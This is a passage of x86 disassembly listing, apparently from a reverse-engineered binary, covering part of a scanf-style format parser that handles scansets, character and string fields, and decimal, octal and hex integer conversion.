mov [ebp+arg_8], eax
mov ecx, [ebp+arg_8]
mov edx, [ecx-4]
mov [ebp+var_3C], edx
loc_42A185: ; CODE XREF: sub_429E90+2D8j
mov [ebp+var_18], 0
movsx eax, [ebp+var_14]
test eax, eax
jnz short loc_42A1BC
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 53h
jz short loc_42A1A9
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax]
cmp ecx, 43h
jnz short loc_42A1B4
loc_42A1A9: ; CODE XREF: sub_429E90+30Bj
mov dl, [ebp+var_14]
add dl, 1
mov [ebp+var_14], dl
jmp short loc_42A1BC
; ---------------------------------------------------------------------------
loc_42A1B4: ; CODE XREF: sub_429E90+317j
mov al, [ebp+var_14]
sub al, 1
mov [ebp+var_14], al
loc_42A1BC: ; CODE XREF: sub_429E90+2FFj
; sub_429E90+322j
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
or edx, 20h
mov [ebp+var_C], edx
cmp [ebp+var_C], 6Eh
jz short loc_42A20E
cmp [ebp+var_C], 63h
jz short loc_42A1F3
cmp [ebp+var_C], 7Bh
jz short loc_42A1F3
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_20]
push ecx
call sub_42B350
add esp, 8
mov [ebp+var_1D8], eax
jmp short loc_42A20E
; ---------------------------------------------------------------------------
loc_42A1F3: ; CODE XREF: sub_429E90+343j
; sub_429E90+349j
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_42B2D0
add esp, 4
mov [ebp+var_1D8], eax
loc_42A20E: ; CODE XREF: sub_429E90+33Dj
; sub_429E90+361j
cmp [ebp+var_1E8], 0
jz short loc_42A221
cmp [ebp+var_1C], 0
jz loc_42B02F
loc_42A221: ; CODE XREF: sub_429E90+385j
mov ecx, [ebp+var_C]
mov [ebp+var_204], ecx
mov edx, [ebp+var_204]
sub edx, 63h
mov [ebp+var_204], edx
cmp [ebp+var_204], 18h
ja loc_42AFDA
mov ecx, [ebp+var_204]
xor eax, eax
mov al, byte_42B24E[ecx]
jmp off_42B226[eax*4]
loc_42A25B: ; DATA XREF: _0:off_42B226o
cmp [ebp+var_1E8], 0
jnz short loc_42A27C
mov edx, [ebp+var_1E8]
add edx, 1
mov [ebp+var_1E8], edx
mov eax, [ebp+var_1C]
add eax, 1
mov [ebp+var_1C], eax
loc_42A27C: ; CODE XREF: sub_429E90+3D2j
movsx ecx, [ebp+var_14]
test ecx, ecx
jle short loc_42A28D
mov dl, [ebp+var_64]
add dl, 1
mov [ebp+var_64], dl
loc_42A28D: ; CODE XREF: sub_429E90+3F2j
mov [ebp+var_1E0], offset dword_454070
mov al, [ebp+var_10]
sub al, 1
mov [ebp+var_10], al
jmp short loc_42A310
; ---------------------------------------------------------------------------
loc_42A2A1: ; CODE XREF: sub_429E90+3C4j
; DATA XREF: _0:0042B23Eo
movsx ecx, [ebp+var_14]
test ecx, ecx
jle short loc_42A2B2
mov dl, [ebp+var_64]
add dl, 1
mov [ebp+var_64], dl
loc_42A2B2: ; CODE XREF: sub_429E90+417j
mov [ebp+var_1E0], offset dword_454068
mov al, [ebp+var_10]
sub al, 1
mov [ebp+var_10], al
jmp short loc_42A310
; ---------------------------------------------------------------------------
loc_42A2C6: ; CODE XREF: sub_429E90+3C4j
; DATA XREF: _0:0042B246o
movsx ecx, [ebp+var_14]
test ecx, ecx
jle short loc_42A2D7
mov dl, [ebp+var_64]
add dl, 1
mov [ebp+var_64], dl
loc_42A2D7: ; CODE XREF: sub_429E90+43Cj
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
mov [ebp+var_1E0], ecx
mov edx, [ebp+var_1E0]
xor eax, eax
mov al, [edx]
cmp eax, 5Eh
jnz short loc_42A310
mov ecx, [ebp+var_1E0]
add ecx, 1
mov [ebp+var_1E0], ecx
mov dl, [ebp+var_10]
sub dl, 1
mov [ebp+var_10], dl
loc_42A310: ; CODE XREF: sub_429E90+40Fj
; sub_429E90+434j ...
push 20h
push 0
lea eax, [ebp+var_60]
push eax
call sub_41E4B0
add esp, 0Ch
cmp [ebp+var_C], 7Bh
jnz short loc_42A34C
mov ecx, [ebp+var_1E0]
xor edx, edx
mov dl, [ecx]
cmp edx, 5Dh
jnz short loc_42A34C
mov byte ptr [ebp+var_8], 5Dh
mov eax, [ebp+var_1E0]
add eax, 1
mov [ebp+var_1E0], eax
mov [ebp+var_55], 20h
loc_42A34C: ; CODE XREF: sub_429E90+494j
; sub_429E90+4A3j ...
mov ecx, [ebp+var_1E0]
xor edx, edx
mov dl, [ecx]
cmp edx, 5Dh
jz loc_42A4B7
mov eax, [ebp+var_1E0]
mov cl, [eax]
mov byte ptr [ebp+var_1EC], cl
mov edx, [ebp+var_1E0]
add edx, 1
mov [ebp+var_1E0], edx
mov eax, [ebp+var_1EC]
and eax, 0FFh
cmp eax, 2Dh
jnz short loc_42A3A8
mov ecx, [ebp+var_8]
and ecx, 0FFh
test ecx, ecx
jz short loc_42A3A8
mov edx, [ebp+var_1E0]
xor eax, eax
mov al, [edx]
cmp eax, 5Dh
jnz short loc_42A3EE
loc_42A3A8: ; CODE XREF: sub_429E90+4FAj
; sub_429E90+507j
mov cl, byte ptr [ebp+var_1EC]
mov byte ptr [ebp+var_8], cl
mov edx, [ebp+var_8]
and edx, 0FFh
sar edx, 3
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
and ecx, 7
mov eax, 1
shl eax, cl
mov cl, [ebp+edx+var_60]
or cl, al
mov edx, [ebp+var_8]
and edx, 0FFh
sar edx, 3
mov [ebp+edx+var_60], cl
jmp loc_42A4B2
; ---------------------------------------------------------------------------
loc_42A3EE: ; CODE XREF: sub_429E90+516j
mov eax, [ebp+var_1E0]
mov cl, [eax]
mov byte ptr [ebp+var_1EC], cl
mov edx, [ebp+var_1E0]
add edx, 1
mov [ebp+var_1E0], edx
mov eax, [ebp+var_8]
and eax, 0FFh
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
cmp eax, ecx
jge short loc_42A42E
mov dl, byte ptr [ebp+var_1EC]
mov byte ptr [ebp+var_24], dl
jmp short loc_42A43D
; ---------------------------------------------------------------------------
loc_42A42E: ; CODE XREF: sub_429E90+591j
mov al, byte ptr [ebp+var_8]
mov byte ptr [ebp+var_24], al
mov cl, byte ptr [ebp+var_1EC]
mov byte ptr [ebp+var_8], cl
loc_42A43D: ; CODE XREF: sub_429E90+59Cj
mov dl, byte ptr [ebp+var_8]
mov byte ptr [ebp+var_1EC], dl
jmp short loc_42A456
; ---------------------------------------------------------------------------
loc_42A448: ; CODE XREF: sub_429E90+61Cj
mov al, byte ptr [ebp+var_1EC]
add al, 1
mov byte ptr [ebp+var_1EC], al
loc_42A456: ; CODE XREF: sub_429E90+5B6j
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
mov edx, [ebp+var_24]
and edx, 0FFh
cmp ecx, edx
jg short loc_42A4AE
mov eax, [ebp+var_1EC]
and eax, 0FFh
sar eax, 3
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
and ecx, 7
mov edx, 1
shl edx, cl
mov al, [ebp+eax+var_60]
or al, dl
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
sar ecx, 3
mov [ebp+ecx+var_60], al
jmp short loc_42A448
; ---------------------------------------------------------------------------
loc_42A4AE: ; CODE XREF: sub_429E90+5DDj
mov byte ptr [ebp+var_8], 0
loc_42A4B2: ; CODE XREF: sub_429E90+559j
jmp loc_42A34C
; ---------------------------------------------------------------------------
loc_42A4B7: ; CODE XREF: sub_429E90+4C9j
mov edx, [ebp+var_1E0]
xor eax, eax
mov al, [edx]
test eax, eax
jnz short loc_42A4CA
jmp loc_42B17A
; ---------------------------------------------------------------------------
loc_42A4CA: ; CODE XREF: sub_429E90+633j
cmp [ebp+var_C], 7Bh
jnz short loc_42A4D9
mov ecx, [ebp+var_1E0]
mov [ebp+arg_4], ecx
loc_42A4D9: ; CODE XREF: sub_429E90+63Ej
mov edx, [ebp+var_3C]
mov [ebp+var_1E4], edx
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_1D8]
push edx
call sub_42B330
add esp, 8
loc_42A4FE: ; CODE XREF: sub_429E90:loc_42A640j
cmp [ebp+var_1E8], 0
jz short loc_42A51B
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
test eax, eax
jz loc_42A645
loc_42A51B: ; CODE XREF: sub_429E90+675j
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_42B2D0
add esp, 4
mov [ebp+var_1D8], eax
cmp [ebp+var_1D8], 0FFFFFFFFh
jz loc_42A622
mov ecx, [ebp+var_1D8]
sar ecx, 3
movsx edx, [ebp+ecx+var_60]
movsx eax, [ebp+var_10]
xor edx, eax
mov ecx, [ebp+var_1D8]
and ecx, 7
mov eax, 1
shl eax, cl
and edx, eax
test edx, edx
jz loc_42A622
movsx ecx, [ebp+var_70]
test ecx, ecx
jnz loc_42A611
movsx edx, [ebp+var_64]
test edx, edx
jz short loc_42A5FB
mov al, byte ptr [ebp+var_1D8]
mov [ebp+var_1F0], al
mov ecx, [ebp+var_1D8]
and ecx, 0FFh
mov edx, ds:off_453BE4
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 8000h
test eax, eax
jz short loc_42A5CD
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
call sub_42B2D0
add esp, 4
mov [ebp+var_1EF], al
loc_42A5CD: ; CODE XREF: sub_429E90+720j
mov eax, ds:dword_453DF0
push eax
lea ecx, [ebp+var_1F0]
push ecx
lea edx, [ebp+var_4]
push edx
call sub_431BA0
add esp, 0Ch
mov eax, [ebp+var_3C]
mov cx, [ebp+var_4]
mov [eax], cx
mov edx, [ebp+var_3C]
add edx, 2
mov [ebp+var_3C], edx
jmp short loc_42A60F
; ---------------------------------------------------------------------------
loc_42A5FB: ; CODE XREF: sub_429E90+6F3j
mov eax, [ebp+var_3C]
mov cl, byte ptr [ebp+var_1D8]
mov [eax], cl
mov edx, [ebp+var_3C]
add edx, 1
mov [ebp+var_3C], edx
loc_42A60F: ; CODE XREF: sub_429E90+769j
jmp short loc_42A620
; ---------------------------------------------------------------------------
loc_42A611: ; CODE XREF: sub_429E90+6E7j
mov eax, [ebp+var_1E4]
add eax, 1
mov [ebp+var_1E4], eax
loc_42A620: ; CODE XREF: sub_429E90:loc_42A60Fj
jmp short loc_42A640
; ---------------------------------------------------------------------------
loc_42A622: ; CODE XREF: sub_429E90+6ADj
; sub_429E90+6DBj
mov ecx, [ebp+var_20]
sub ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_1D8]
push eax
call sub_42B330
add esp, 8
jmp short loc_42A645
; ---------------------------------------------------------------------------
loc_42A640: ; CODE XREF: sub_429E90:loc_42A620j
jmp loc_42A4FE
; ---------------------------------------------------------------------------
loc_42A645: ; CODE XREF: sub_429E90+685j
; sub_429E90+7AEj
mov ecx, [ebp+var_1E4]
cmp ecx, [ebp+var_3C]
jz short loc_42A681
movsx edx, [ebp+var_70]
test edx, edx
jnz short loc_42A67F
mov eax, [ebp+var_34]
add eax, 1
mov [ebp+var_34], eax
cmp [ebp+var_C], 63h
jz short loc_42A67F
movsx ecx, [ebp+var_64]
test ecx, ecx
jz short loc_42A679
mov edx, [ebp+var_3C]
mov word ptr [edx], 0
jmp short loc_42A67F
; ---------------------------------------------------------------------------
loc_42A679: ; CODE XREF: sub_429E90+7DDj
mov eax, [ebp+var_3C]
mov byte ptr [eax], 0
loc_42A67F: ; CODE XREF: sub_429E90+7C6j
; sub_429E90+7D5j ...
jmp short loc_42A686
; ---------------------------------------------------------------------------
loc_42A681: ; CODE XREF: sub_429E90+7BEj
jmp loc_42B17A
; ---------------------------------------------------------------------------
loc_42A686: ; CODE XREF: sub_429E90:loc_42A67Fj
jmp loc_42B024
; ---------------------------------------------------------------------------
loc_42A68B: ; CODE XREF: sub_429E90+3C4j
; DATA XREF: _0:0042B232o
mov [ebp+var_C], 64h
loc_42A692: ; CODE XREF: sub_429E90+3C4j
; DATA XREF: _0:0042B242o
cmp [ebp+var_1D8], 2Dh
jnz short loc_42A6A6
mov cl, [ebp+var_68]
add cl, 1
mov [ebp+var_68], cl
jmp short loc_42A6AF
; ---------------------------------------------------------------------------
loc_42A6A6: ; CODE XREF: sub_429E90+809j
cmp [ebp+var_1D8], 2Bh
jnz short loc_42A6EC
loc_42A6AF: ; CODE XREF: sub_429E90+814j
mov edx, [ebp+var_1C]
sub edx, 1
mov [ebp+var_1C], edx
cmp [ebp+var_1C], 0
jnz short loc_42A6D1
cmp [ebp+var_1E8], 0
jz short loc_42A6D1
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
jmp short loc_42A6EC
; ---------------------------------------------------------------------------
loc_42A6D1: ; CODE XREF: sub_429E90+82Cj
; sub_429E90+835j
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
call sub_42B2D0
add esp, 4
mov [ebp+var_1D8], eax
loc_42A6EC: ; CODE XREF: sub_429E90+81Dj
; sub_429E90+83Fj
cmp [ebp+var_1D8], 30h
jnz loc_42A78E
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42B2D0
add esp, 4
mov [ebp+var_1D8], eax
movsx edx, byte ptr [ebp+var_1D8]
cmp edx, 78h
jz short loc_42A72C
movsx eax, byte ptr [ebp+var_1D8]
cmp eax, 58h
jnz short loc_42A750
loc_42A72C: ; CODE XREF: sub_429E90+88Ej
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
call sub_42B2D0
add esp, 4
mov [ebp+var_1D8], eax
mov [ebp+var_C], 78h
jmp short loc_42A78E
; ---------------------------------------------------------------------------
loc_42A750: ; CODE XREF: sub_429E90+89Aj
mov eax, [ebp+var_6C]
add eax, 1
mov [ebp+var_6C], eax
cmp [ebp+var_C], 78h
jz short loc_42A768
mov [ebp+var_C], 6Fh
jmp short loc_42A78E
; ---------------------------------------------------------------------------
loc_42A768: ; CODE XREF: sub_429E90+8CDj
mov ecx, [ebp+var_20]
sub ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_1D8]
push eax
call sub_42B330
add esp, 8
mov [ebp+var_1D8], 30h
loc_42A78E: ; CODE XREF: sub_429E90+863j
; sub_429E90+8BEj ...
jmp short loc_42A7EE
; ---------------------------------------------------------------------------
loc_42A790: ; CODE XREF: sub_429E90+3C4j
; DATA XREF: _0:0042B23Ao
mov [ebp+var_38], 1
loc_42A794: ; CODE XREF: sub_429E90+3C4j
; DATA XREF: _0:0042B22Ao
cmp [ebp+var_1D8], 2Dh
jnz short loc_42A7A8
mov cl, [ebp+var_68]
add cl, 1
mov [ebp+var_68], cl
jmp short loc_42A7B1
; ---------------------------------------------------------------------------
loc_42A7A8: ; CODE XREF: sub_429E90+90Bj
cmp [ebp+var_1D8], 2Bh
jnz short loc_42A7EE
loc_42A7B1: ; CODE XREF: sub_429E90+916j
mov edx, [ebp+var_1C]
sub edx, 1
mov [ebp+var_1C], edx
cmp [ebp+var_1C], 0
jnz short loc_42A7D3
cmp [ebp+var_1E8], 0
jz short loc_42A7D3
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
jmp short loc_42A7EE
; ---------------------------------------------------------------------------
loc_42A7D3: ; CODE XREF: sub_429E90+92Ej
; sub_429E90+937j
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
call sub_42B2D0
add esp, 4
mov [ebp+var_1D8], eax
loc_42A7EE: ; CODE XREF: sub_429E90:loc_42A78Ej
; sub_429E90+91Fj ...
cmp [ebp+var_1DC], 0
jz loc_42A9E9
loc_42A7FB: ; CODE XREF: sub_429E90:loc_42A9C4j
movsx eax, [ebp+var_18]
test eax, eax
jnz loc_42A9C9
cmp [ebp+var_C], 78h
jnz loc_42A896
cmp ds:dword_453DF0, 1
jle short loc_42A836
push 80h
mov ecx, [ebp+var_1D8]
push ecx
call sub_427040
add esp, 8
mov [ebp+var_208], eax
jmp short loc_42A853
; ---------------------------------------------------------------------------
loc_42A836: ; CODE XREF: sub_429E90+988j
mov edx, [ebp+var_1D8]
mov eax, ds:off_453BE4
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 80h
mov [ebp+var_208], ecx
loc_42A853: ; CODE XREF: sub_429E90+9A4j
cmp [ebp+var_208], 0
jz short loc_42A889
mov ecx, 4
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
call sub_431D80
mov [ebp+var_30], eax
mov [ebp+var_2C], edx
mov edx, [ebp+var_1D8]
push edx
call sub_42B270
add esp, 4
mov [ebp+var_1D8], eax
jmp short loc_42A891
; ---------------------------------------------------------------------------
loc_42A889: ; CODE XREF: sub_429E90+9CAj
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_42A891: ; CODE XREF: sub_429E90+9F7j
jmp loc_42A93D
; ---------------------------------------------------------------------------
loc_42A896: ; CODE XREF: sub_429E90+97Bj
cmp ds:dword_453DF0, 1
jle short loc_42A8B8
push 4
mov ecx, [ebp+var_1D8]
push ecx
call sub_427040
add esp, 8
mov [ebp+var_20C], eax
jmp short loc_42A8D2
; ---------------------------------------------------------------------------
loc_42A8B8: ; CODE XREF: sub_429E90+A0Dj
mov edx, [ebp+var_1D8]
mov eax, ds:off_453BE4
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_20C], ecx
loc_42A8D2: ; CODE XREF: sub_429E90+A26j
cmp [ebp+var_20C], 0
jz short loc_42A935
cmp [ebp+var_C], 6Fh
jnz short loc_42A90D
cmp [ebp+var_1D8], 38h
jge short loc_42A902
mov ecx, 3
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
call sub_431D80
mov [ebp+var_30], eax
mov [ebp+var_2C], edx
jmp short loc_42A90B
; ---------------------------------------------------------------------------
loc_42A902: ; CODE XREF: sub_429E90+A58j
mov dl, [ebp+var_18]
add dl, 1
mov [ebp+var_18], dl
loc_42A90B: ; CODE XREF: sub_429E90+A70j
jmp short loc_42A933
; ---------------------------------------------------------------------------
loc_42A90D: ; CODE XREF: sub_429E90+A4Fj
mov ecx, 2
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
call sub_431D80
add eax, [ebp+var_30]
adc edx, [ebp+var_2C]
mov ecx, 1
call sub_431D80
mov [ebp+var_30], eax
mov [ebp+var_2C], edx
loc_42A933: ; CODE XREF: sub_429E90:loc_42A90Bj
jmp short loc_42A93D
; ---------------------------------------------------------------------------
loc_42A935: ; CODE XREF: sub_429E90+A49j
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_42A93D: ; CODE XREF: sub_429E90:loc_42A891j
; sub_429E90:loc_42A933j
movsx ecx, [ebp+var_18]
test ecx, ecx
jnz short loc_42A9A8
mov edx, [ebp+var_6C]
add edx, 1
mov [ebp+var_6C], edx
mov eax, [ebp+var_1D8]
sub eax, 30h
cdq
mov ecx, [ebp+var_30]
add ecx, eax
mov eax, [ebp+var_2C]
adc eax, edx
mov [ebp+var_30], ecx
mov [ebp+var_2C], eax
cmp [ebp+var_1E8], 0
jz short loc_42A98B
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
cmp [ebp+var_1C], 0
jnz short loc_42A98B
mov dl, [ebp+var_18]
add dl, 1
mov [ebp+var_18], dl
jmp short loc_42A9A6
; ---------------------------------------------------------------------------
loc_42A98B: ; CODE XREF: sub_429E90+ADFj
; sub_429E90+AEEj
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42B2D0
add esp, 4
mov [ebp+var_1D8], eax
loc_42A9A6: ; CODE XREF: sub_429E90+AF9j
jmp short loc_42A9C4
; ---------------------------------------------------------------------------
loc_42A9A8: ; CODE XREF: sub_429E90+AB3j
mov edx, [ebp+var_20]
sub edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_1D8]
push ecx
call sub_42B330
add esp, 8
loc_42A9C4: ; CODE XREF: sub_429E90:loc_42A9A6j
jmp loc_42A7FB
; ---------------------------------------------------------------------------
loc_42A9C9: ; CODE XREF: sub_429E90+971j
movsx edx, [ebp+var_68]
test edx, edx
jz short loc_42A9E4
mov eax, [ebp+var_30]
neg eax
mov ecx, [ebp+var_2C]
adc ecx, 0
neg ecx
mov [ebp+var_30], eax
mov [ebp+var_2C], ecx
loc_42A9E4: ; CODE XREF: sub_429E90+B3Fj
jmp loc_42AB8D
; ---------------------------------------------------------------------------
loc_42A9E9: ; CODE XREF: sub_429E90+965j
; sub_429E90:loc_42AB78j
movsx edx, [ebp+var_18]
test edx, edx
jnz loc_42AB7D
cmp [ebp+var_C], 78h
jz short loc_42AA01
cmp [ebp+var_C], 70h
jnz short loc_42AA79
loc_42AA01: ; CODE XREF: sub_429E90+B69j
cmp ds:dword_453DF0, 1
jle short loc_42AA26
push 80h
mov eax, [ebp+var_1D8]
push eax
call sub_427040
add esp, 8
mov [ebp+var_210], eax
jmp short loc_42AA43
; ---------------------------------------------------------------------------
loc_42AA26: ; CODE XREF: sub_429E90+B78j
mov ecx, [ebp+var_1D8]
mov edx, ds:off_453BE4
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 80h
mov [ebp+var_210], eax
loc_42AA43: ; CODE XREF: sub_429E90+B94j
cmp [ebp+var_210], 0
jz short loc_42AA6C
mov ecx, [ebp+var_40]
shl ecx, 4
mov [ebp+var_40], ecx
mov edx, [ebp+var_1D8]
push edx
call sub_42B270
add esp, 4
mov [ebp+var_1D8], eax
jmp short loc_42AA74
; ---------------------------------------------------------------------------
loc_42AA6C: ; CODE XREF: sub_429E90+BBAj
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_42AA74: ; CODE XREF: sub_429E90+BDAj
jmp loc_42AAFB
; ---------------------------------------------------------------------------
loc_42AA79: ; CODE XREF: sub_429E90+B6Fj
cmp ds:dword_453DF0, 1
jle short loc_42AA9B
push 4
mov ecx, [ebp+var_1D8]
push ecx
call sub_427040
add esp, 8
mov [ebp+var_214], eax
jmp short loc_42AAB5
; ---------------------------------------------------------------------------
loc_42AA9B: ; CODE XREF: sub_429E90+BF0j
mov edx, [ebp+var_1D8]
mov eax, ds:off_453BE4
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_214], ecx
loc_42AAB5: ; CODE XREF: sub_429E90+C09j
cmp [ebp+var_214], 0
jz short loc_42AAF2
cmp [ebp+var_C], 6Fh
jnz short loc_42AAE2
cmp [ebp+var_1D8], 38h
jge short loc_42AAD8
mov edx, [ebp+var_40]
shl edx, 3
mov [ebp+var_40], edx
jmp short loc_42AAE0
; ---------------------------------------------------------------------------
loc_42AAD8: ; CODE XREF: sub_429E90+C3Bj
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_42AAE0: ; CODE XREF: sub_429E90+C46j
jmp short loc_42AAF0
; ---------------------------------------------------------------------------
loc_42AAE2: ; CODE XREF: sub_429E90+C32j
mov ecx, [ebp+var_40]
mov edx, [ebp+var_40]
lea eax, [edx+ecx*4]
shl eax, 1
mov [ebp+var_40], eax
loc_42AAF0: ; CODE XREF: sub_429E90:loc_42AAE0j
jmp short loc_42AAFB
; ---------------------------------------------------------------------------
loc_42AAF2: ; CODE XREF: sub_429E90+C2Cj
mov cl, [ebp+var_18]
add cl, 1
mov [ebp+var_18], cl
loc_42AAFB: ; CODE XREF: sub_429E90:loc_42AA74j
; sub_429E90:loc_42AAF0j
movsx edx, [ebp+var_18]
test edx, edx
jnz short loc_42AB5C
mov eax, [ebp+var_6C]
add eax, 1
mov [ebp+var_6C], eax
mov ecx, [ebp+var_1D8]
mov edx, [ebp+var_40]
lea eax, [edx+ecx-30h]
mov [ebp+var_40], eax
cmp [ebp+var_1E8], 0
jz short loc_42AB3F
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
cmp [ebp+var_1C], 0
jnz short loc_42AB3F
mov dl, [ebp+var_18]
add dl, 1
mov [ebp+var_18], dl
jmp short loc_42AB5A
; ---------------------------------------------------------------------------
loc_42AB3F: ; CODE XREF: sub_429E90+C93j
; sub_429E90+CA2j
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42B2D0
add esp, 4
mov [ebp+var_1D8], eax
loc_42AB5A: ; CODE XREF: sub_429E90+CADj
jmp short loc_42AB78
; ---------------------------------------------------------------------------
loc_42AB5C: ; CODE XREF: sub_429E90+C71j
mov edx, [ebp+var_20]
sub edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_1D8]
push ecx
call sub_42B330
add esp, 8
loc_42AB78: ; CODE XREF: sub_429E90:loc_42AB5Aj
jmp loc_42A9E9
; ---------------------------------------------------------------------------
loc_42AB7D: ; CODE XREF: sub_429E90+B5Fj
movsx edx, [ebp+var_68]
test edx, edx
jz short loc_42AB8D
mov eax, [ebp+var_40]
neg eax
mov [ebp+var_40], eax
loc_42AB8D: ; CODE XREF: sub_429E90:loc_42A9E4j
; sub_429E90+CF3j
cmp [ebp+var_C], 46h
jnz short loc_42AB9A
mov [ebp+var_6C], 0
loc_42AB9A: ; CODE XREF: sub_429E90+D01j
cmp [ebp+var_6C], 0
jz short loc_42ABE8
movsx ecx, [ebp+var_70]
test ecx, ecx
jnz short loc_42ABE6
mov edx, [ebp+var_34]
add edx, 1
mov [ebp+var_34], edx
loc_42ABB1: ; CODE XREF: sub_429E90+D70j
cmp [ebp+var_1DC], 0
jz short loc_42ABCA
mov eax, [ebp+var_3C]
mov ecx, [ebp+var_30]
mov [eax], ecx
mov edx, [ebp+var_2C]
mov [eax+4], edx
jmp short loc_42ABE6
; ---------------------------------------------------------------------------
loc_42ABCA: ; CODE XREF: sub_429E90+D28j
movsx eax, [ebp+var_38]
test eax, eax
jz short loc_42ABDC
mov ecx, [ebp+var_3C]
mov edx, [ebp+var_40]
mov [ecx], edx
jmp short loc_42ABE6
; ---------------------------------------------------------------------------
loc_42ABDC: ; CODE XREF: sub_429E90+D40j
mov eax, [ebp+var_3C]
mov cx, word ptr [ebp+var_40]
mov [eax], cx
loc_42ABE6: ; CODE XREF: sub_429E90+D16j
; sub_429E90+D38j ...
jmp short loc_42ABED
; ---------------------------------------------------------------------------
loc_42ABE8: ; CODE XREF: sub_429E90+D0Ej
jmp loc_42B17A
; ---------------------------------------------------------------------------
loc_42ABED: ; CODE XREF: sub_429E90:loc_42ABE6j
jmp loc_42B024
; ---------------------------------------------------------------------------
loc_42ABF2: ; CODE XREF: sub_429E90+3C4j
; DATA XREF: _0:0042B236o
mov edx, [ebp+var_20]
mov [ebp+var_40], edx
movsx eax, [ebp+var_70]
test eax, eax
jnz short loc_42AC02
jmp short loc_42ABB1
; ---------------------------------------------------------------------------
loc_42AC02: ; CODE XREF: sub_429E90+D6Ej
jmp loc_42B024
; ---------------------------------------------------------------------------
loc_42AC07: ; CODE XREF: sub_429E90+3C4j
; DATA XREF: _0:0042B22Eo
lea ecx, [ebp+var_1D0]
mov [ebp+var_1E0], ecx
cmp [ebp+var_1D8], 2Dh
jnz short loc_42AC36
mov edx, [ebp+var_1E0]
mov byte ptr [edx], 2Dh
mov eax, [ebp+var_1E0]
add eax, 1
mov [ebp+var_1E0], eax
jmp short loc_42AC3F
; ---------------------------------------------------------------------------
loc_42AC36: ; CODE XREF: sub_429E90+D8Aj
cmp [ebp+var_1D8], 2Bh
jnz short loc_42AC63
loc_42AC3F: ; CODE XREF: sub_429E90+DA4j
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_42B2D0
add esp, 4
mov [ebp+var_1D8], eax
loc_42AC63: ; CODE XREF: sub_429E90+DADj
cmp [ebp+var_1E8], 0
jz short loc_42AC75
cmp [ebp+var_1C], 15Dh
jle short loc_42AC7C
loc_42AC75: ; CODE XREF: sub_429E90+DDAj
mov [ebp+var_1C], 15Dh
loc_42AC7C: ; CODE XREF: sub_429E90+DE3j
; sub_429E90+E82j
cmp ds:dword_453DF0, 1
jle short loc_42AC9E
push 4
mov ecx, [ebp+var_1D8]
push ecx
call sub_427040
add esp, 8
mov [ebp+var_218], eax
jmp short loc_42ACB8
; ---------------------------------------------------------------------------
loc_42AC9E: ; CODE XREF: sub_429E90+DF3j
mov edx, [ebp+var_1D8]
mov eax, ds:off_453BE4
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_218], ecx
loc_42ACB8: ; CODE XREF: sub_429E90+E0Cj
cmp [ebp+var_218], 0
jz short loc_42AD17
mov edx, [ebp+var_1C]
mov eax, [ebp+var_1C]
sub eax, 1
mov [ebp+var_1C], eax
test edx, edx
jz short loc_42AD17
mov ecx, [ebp+var_6C]
add ecx, 1
mov [ebp+var_6C], ecx
mov edx, [ebp+var_1E0]
mov al, byte ptr [ebp+var_1D8]
